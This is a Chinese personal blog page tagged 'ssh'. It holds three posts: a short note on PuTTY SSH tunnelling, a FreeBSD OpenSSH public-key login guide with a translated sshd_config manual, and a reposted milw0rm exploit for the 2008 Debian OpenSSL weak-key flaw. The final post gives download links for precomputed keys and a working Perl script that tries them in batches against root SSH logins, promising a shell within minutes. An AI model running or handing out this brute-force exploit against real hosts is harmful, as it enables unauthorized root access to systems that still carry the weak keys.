Posts Tagged ‘ssh’

利用SSH Tunnel(隧道)作安全代理

Posted in 安全相关 on 1月 11th, 2010 by 飘(piao2010) – Be the first to comment

应该是很古老的技术了,拿来凑数更新一下博客吧。至于SSH Tunnel代理有什么用途就留给读者思考吧。利用putty的ssh tunnel功能实现安全的代理,原理是当用putty ssh连接到远程服务器的时候,putty可以在本地开启一个端口,本地的应用程序连接到本地的这个端口。相当于putty在本地充当了一个socks代理服务器为本地的应用程序提供socks代理。 read more »

FreeBSD:OpenSSH

Posted in FreeBSD, 搬家之前 on 2月 13th, 2009 by 飘(piao2010) – Be the first to comment

文章参考别人的o(∩_∩)o… 

客户端用密钥方式登陆到 FreeBSD SSH服务器

一、密匙认证原理简介
  密匙认证需要依靠密匙,首先创建一对密匙(包括公匙和私匙,用公匙加密的数据只能用私匙解密),把公匙放到需要远程服务器上,私钥放在客户端。这样当登录远程服务器时,客户端软件就会向服务器发出认证请求;服务器收到请求之后,先在服务器的宿主目录下寻找你的公匙,然后检查该公匙是否是合法,如果合法就用公匙加密一随机数生成所谓的“challenge”发送给客户端软件;客户端软件收到“challenge”之后就用私匙解密再把结果发送给服务器。因为用公匙加密的数据只能用私匙解密,服务器经过比较就可以知道该客户连接的合法性。

二、客户端配置
  1、下载SSHSecureShellClient,用默认方式安装。
  2、创建密钥对。单击Edit-Settings-User Authentication-keys-Generate New…生成新的公钥。

       3、检查密钥文件的读写属性。默认安装后密钥对存放路径为C:\Documents and Settings\Administrator\Application Data\SSHeys ,将私钥设置成仅允许属主有读写权,也可将它放在U盘上,使用时再导入,以确保密钥安全。

      4、在不同WIN客户机上登陆。有时需要临时在其他WIN客户机登陆服务器,这时可用上述方法安装Secure Shell Client,然后将C:\Documents and Settings\Administrator\Application Data\SSHeys目录里的文件复制到新的WIN客户机上对应目录里即可。
  注意:当不用该客户机后必须将上述目录里的文件删除,以防密钥被人盗取!!!!

三、服务端配置(服务端FB自带的Openssh)
  1、用vi编辑/etc/rc.conf,确保有以下行:
  sshd_enable=”yes
  2、在FB服务器添加新用户,并指定他属于wheel组。
  3、用vi编辑/etc/ssh/sshd_config,将FB服务器设置成密码验证方式。/etc/ssh/sshd_config文件内容有以下行:
  Port 22
  ListenAddress 10.1.1.1
  PasswordAuthentication yes
  ChallengeResponseAuthentication yes
  UsePAM yes
  UseDNS no

4、重启SSHD服务。
  #/etc/rc.d/sshd restart

5、在WINXP上运行SSH Secure Shell Client ,用密码方式登陆FB SSHD服务器,将前面创建的公钥文件xx.pub上传到用户家目录,即:
  /home/piao/xx.pub

6、把SSH Secure Shell Client格式的公钥转换成Openssl格式的公钥。
  #ssh-keygen -i -f xx.pub >> /etc/ssh/authorized_keys ;转换格式并将公钥导入到authorized_keys文件中
  #chmod 0640 /etc/ssh/authorized_key ;设置权限,使该文件仅允许属主读写
  #rm xx.pub ;删除上传的公钥

7、为了安全建议禁用密码方式访问,用vi编辑/etc/ssh/sshd_config,将FB服务器设置成密钥验证方式。
  Protocol 2
  PasswordAuthentication no
  PermitRootLogin no
  ChallengeResponseAuthentication no
  PubkeyAuthentication yes   
  AuthorizedKeysFile .ssh/authorized_keys

8、重启SSHD服务器
  #/etc/rc.d/sshd restart

9、在WINXP上运行SSH Secure Shell Client 用密钥方式登陆服务器。

 

 

附:

sshd_config 中文手册
译者:金步国

——————————————————————————–

版权声明
本文作者是一位自由软件爱好者,所以本文虽然不是软件,但是本着 GPL 的精神发布。任何人都可以自由使用、转载、复制和再分发,但必须保留作者署名,亦不得对声明中的任何条款作任何形式的修改,也不得附加任何其它条件。您可以自由链接、下载、传播此文档,但前提是必须保证全文完整转载,包括完整的版权信息和作译者声明。

其他作品
本文作者十分愿意与他人共享劳动成果,如果你对我的其他翻译作品或者技术文章有兴趣,可以在如下位置查看现有作品的列表:

金步国作品列表
BUG报告,切磋与探讨
由于作者水平有限,因此不能保证作品内容准确无误,请在阅读中自行鉴别。如果你发现了作品中的错误,请您来信指出,哪怕是错别字也好,任何提高作品质量的建议我都将虚心接纳。如果你愿意就作品中的相关内容与我进行进一步切磋与探讨,也欢迎你与我联系。联系方式:MSN: csfrank122@hotmail.com

——————————————————————————–

SSHD_CONFIG(5)            OpenBSD Programmer’s Manual           SSHD_CONFIG(5)

名称
     sshd_config - OpenSSH SSH 服务器守护进程配置文件

大纲
     /etc/ssh/sshd_config

描述
     sshd(8) 默认从 /etc/ssh/sshd_config 文件(或通过 -f 命令行选项指定的文件)读取配置信息。
     配置文件是由”指令 值”对组成的,每行一个。空行和以’#'开头的行都将被忽略。
     如果值中含有空白符或者其他特殊符号,那么可以通过在两边加上双引号(”)进行界定。
     [注意]值是大小写敏感的,但指令是大小写无关的。

     当前所有可以使用的配置指令如下:

     AcceptEnv
             指定客户端发送的哪些环境变量将会被传递到会话环境中。[注意]只有SSH-2协议支持环境变量的传递。
             细节可以参考 ssh_config(5) 中的 SendEnv 配置指令。
             指令的值是空格分隔的变量名列表(其中可以使用’*'和’?'作为通配符)。也可以使用多个 AcceptEnv 达到同样的目的。
             需要注意的是,有些环境变量可能会被用于绕过禁止用户使用的环境变量。由于这个原因,该指令应当小心使用。
             默认是不传递任何环境变量。

     AddressFamily
             指定 sshd(8) 应当使用哪种地址族。取值范围是:”any”(默认)、”inet”(仅IPv4)、”inet6″(仅IPv6)。

     AllowGroups
             这个指令后面跟着一串用空格分隔的组名列表(其中可以使用”*”和”?”通配符)。默认允许所有组登录。
             如果使用了这个指令,那么将仅允许这些组中的成员登录,而拒绝其它所有组。
             这里的”组”是指”主组”(primary group),也就是/etc/passwd文件中指定的组。
             这里只允许使用组的名字而不允许使用GID。相关的 allow/deny 指令按照下列顺序处理:
             DenyUsers, AllowUsers, DenyGroups, AllowGroups

     AllowTcpForwarding
             是否允许TCP转发,默认值为”yes”。
             禁止TCP转发并不能增强安全性,除非禁止了用户对shell的访问,因为用户可以安装他们自己的转发器。

     AllowUsers
             这个指令后面跟着一串用空格分隔的用户名列表(其中可以使用”*”和”?”通配符)。默认允许所有用户登录。
             如果使用了这个指令,那么将仅允许这些用户登录,而拒绝其它所有用户。
             如果指定了 USER@HOST 模式的用户,那么 USER 和 HOST 将同时被检查。
             这里只允许使用用户的名字而不允许使用UID。相关的 allow/deny 指令按照下列顺序处理:
             DenyUsers, AllowUsers, DenyGroups, AllowGroups

     AuthorizedKeysFile
             存放该用户可以用来登录的 RSA/DSA 公钥。
             该指令中可以使用下列根据连接时的实际情况进行展开的符号:
             %% 表示’%'、%h 表示用户的主目录、%u 表示该用户的用户名。
             经过扩展之后的值必须要么是绝对路径,要么是相对于用户主目录的相对路径。
             默认值是”.ssh/authorized_keys”。

     Banner
             将这个指令指定的文件中的内容在用户进行认证前显示给远程用户。
             这个特性仅能用于SSH-2,默认什么内容也不显示。”none”表示禁用这个特性。

     ChallengeResponseAuthentication
             是否允许质疑-应答(challenge-response)认证。默认值是”yes”。
             所有 login.conf(5) 中允许的认证方式都被支持。

     Ciphers
             指定SSH-2允许使用的加密算法。多个算法之间使用逗号分隔。可以使用的算法如下:
             “aes128-cbc”, “aes192-cbc”, “aes256-cbc”, “aes128-ctr”, “aes192-ctr”, “aes256-ctr”,
             “3des-cbc”, “arcfour128″, “arcfour256″, “arcfour”, “blowfish-cbc”, “cast128-cbc”
             默认值是可以使用上述所有算法。

     ClientAliveCountMax
             sshd(8) 在未收到任何客户端回应前最多允许发送多少个”alive”消息。默认值是 3 。
             到达这个上限后,sshd(8) 将强制断开连接、关闭会话。
             需要注意的是,”alive”消息与 TCPKeepAlive 有很大差异。
             “alive”消息是通过加密连接发送的,因此不会被欺骗;而 TCPKeepAlive 却是可以被欺骗的。
             如果 ClientAliveInterval 被设为 15 并且将 ClientAliveCountMax 保持为默认值,
             那么无应答的客户端大约会在45秒后被强制断开。这个指令仅可以用于SSH-2协议。

     ClientAliveInterval
             设置一个以秒记的时长,如果超过这么长时间没有收到客户端的任何数据,
             sshd(8) 将通过安全通道向客户端发送一个”alive”消息,并等候应答。
             默认值 0 表示不发送”alive”消息。这个选项仅对SSH-2有效。

     Compression
             是否对通信数据进行加密,还是延迟到认证成功之后再对通信数据加密。
             可用值:”yes”, “delayed”(默认), “no”。

     DenyGroups
             这个指令后面跟着一串用空格分隔的组名列表(其中可以使用”*”和”?”通配符)。默认允许所有组登录。
             如果使用了这个指令,那么这些组中的成员将被拒绝登录。
             这里的”组”是指”主组”(primary group),也就是/etc/passwd文件中指定的组。
             这里只允许使用组的名字而不允许使用GID。相关的 allow/deny 指令按照下列顺序处理:
             DenyUsers, AllowUsers, DenyGroups, AllowGroups

     DenyUsers
             这个指令后面跟着一串用空格分隔的用户名列表(其中可以使用”*”和”?”通配符)。默认允许所有用户登录。
             如果使用了这个指令,那么这些用户将被拒绝登录。
             如果指定了 USER@HOST 模式的用户,那么 USER 和 HOST 将同时被检查。
             这里只允许使用用户的名字而不允许使用UID。相关的 allow/deny 指令按照下列顺序处理:
             DenyUsers, AllowUsers, DenyGroups, AllowGroups

     ForceCommand
             强制执行这里指定的命令而忽略客户端提供的任何命令。这个命令将使用用户的登录shell执行(shell -c)。
             这可以应用于 shell 、命令、子系统的完成,通常用于 Match 块中。
             这个命令最初是在客户端通过 SSH_ORIGINAL_COMMAND 环境变量来支持的。

     GatewayPorts
             是否允许远程主机连接本地的转发端口。默认值是”no”。
             sshd(8) 默认将远程端口转发绑定到loopback地址。这样将阻止其它远程主机连接到转发端口。
             GatewayPorts 指令可以让 sshd 将远程端口转发绑定到非loopback地址,这样就可以允许远程主机连接了。
             “no”表示仅允许本地连接,”yes”表示强制将远程端口转发绑定到统配地址(wildcard address),
             “clientspecified”表示允许客户端选择将远程端口转发绑定到哪个地址。

     GSSAPIAuthentication
             是否允许使用基于 GSSAPI 的用户认证。默认值为”no”。仅用于SSH-2。

     GSSAPICleanupCredentials
             是否在用户退出登录后自动销毁用户凭证缓存。默认值是”yes”。仅用于SSH-2。

     HostbasedAuthentication
             这个指令与 RhostsRSAAuthentication 类似,但是仅可以用于SSH-2。推荐使用默认值”no”。
             推荐使用默认值”no”禁止这种不安全的认证方式。

     HostbasedUsesNameFromPacketOnly
             在开启 HostbasedAuthentication 的情况下,
             指定服务器在使用 ~/.shosts ~/.rhosts /etc/hosts.equiv 进行远程主机名匹配时,是否进行反向域名查询。
             “yes”表示 sshd(8) 信任客户端提供的主机名而不进行反向查询。默认值是”no”。

     HostKey
             主机私钥文件的位置。如果权限不对,sshd(8) 可能会拒绝启动。
             SSH-1默认是 /etc/ssh/ssh_host_key 。
             SSH-2默认是 /etc/ssh/ssh_host_rsa_key 和 /etc/ssh/ssh_host_dsa_key 。
             一台主机可以拥有多个不同的私钥。”rsa1″仅用于SSH-1,”dsa”和”rsa”仅用于SSH-2。

     IgnoreRhosts
             是否在 RhostsRSAAuthentication 或 HostbasedAuthentication 过程中忽略 .rhosts 和 .shosts 文件。
             不过 /etc/hosts.equiv 和 /etc/shosts.equiv 仍将被使用。推荐设为默认值”yes”。

     IgnoreUserKnownHosts
             是否在 RhostsRSAAuthentication 或 HostbasedAuthentication 过程中忽略用户的 ~/.ssh/known_hosts 文件。
             默认值是”no”。为了提高安全性,可以设为”yes”。

     KerberosAuthentication
             是否要求用户为 PasswordAuthentication 提供的密码必须通过 Kerberos KDC 认证,也就是是否使用Kerberos认证。
             要使用Kerberos认证,服务器需要一个可以校验 KDC identity 的 Kerberos servtab 。默认值是”no”。

     KerberosGetAFSToken
             如果使用了 AFS 并且该用户有一个 Kerberos 5 TGT,那么开启该指令后,
             将会在访问用户的家目录前尝试获取一个 AFS token 。默认为”no”。

     KerberosOrLocalPasswd
             如果 Kerberos 密码认证失败,那么该密码还将要通过其它的认证机制(比如 /etc/passwd)。
             默认值为”yes”。

     KerberosTicketCleanup
             是否在用户退出登录后自动销毁用户的 ticket 。默认值是”yes”。

     KeyRegenerationInterval
             在SSH-1协议下,短命的服务器密钥将以此指令设置的时间为周期(秒),不断重新生成。
             这个机制可以尽量减小密钥丢失或者黑客攻击造成的损失。
             设为 0 表示永不重新生成,默认为 3600(秒)。

     ListenAddress
             指定 sshd(8) 监听的网络地址,默认监听所有地址。可以使用下面的格式:

                   ListenAddress host|IPv4_addr|IPv6_addr
                   ListenAddress host|IPv4_addr:port
                   ListenAddress [host|IPv6_addr]:port

             如果未指定 port ,那么将使用 Port 指令的值。
             可以使用多个 ListenAddress 指令监听多个地址。

     LoginGraceTime
             限制用户必须在指定的时限内认证成功,0 表示无限制。默认值是 120 秒。

     LogLevel
             指定 sshd(8) 的日志等级(详细程度)。可用值如下:
             QUIET, FATAL, ERROR, INFO(默认), VERBOSE, DEBUG, DEBUG1, DEBUG2, DEBUG3
          &nbsp …

Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit

Posted in 搬家之前 on 5月 18th, 2008 by 飘(piao2010) – Be the first to comment
the debian openssl issue leads that there are only 65.536 possible ssh keys generated, cause the only entropy is the pid of the process generating the key.This leads to that the following perl script can be used with the precalculated ssh keys to brute force the ssh login. It works if such a keys is installed on a non-patched debian or any other system manual configured to.On an unpatched system, which doesn't need to be debian, do the following:keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2     http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz22. Extract it to a directory3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048 Bits, generated on an upatched debian (this is the key this exploit will break)4. Run the perl script and give it the location to where you extracted the bzip2 mentioned.#!/usr/bin/perlmy $keysPerConnect = 6;unless ($ARGV[1]) {   print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\\n";   print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\\n";   print "By mm@deadbeef.de\\n";   exit 0;}chdir($ARGV[0]);opendir(A, $ARGV[0]) || die("opendir");while ($_ = readdir(A)) {   chomp;   next unless m,^\\d+$,;   push(@a, $_);   if (scalar(@a) > $keysPerConnect) {      system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]);      @a = ();   }}5. Enjoy the shell after some minutes (less than 20 minutes)Regards,Markus Muellermm@deadbeef.de# milw0rm.com [2008-05-15]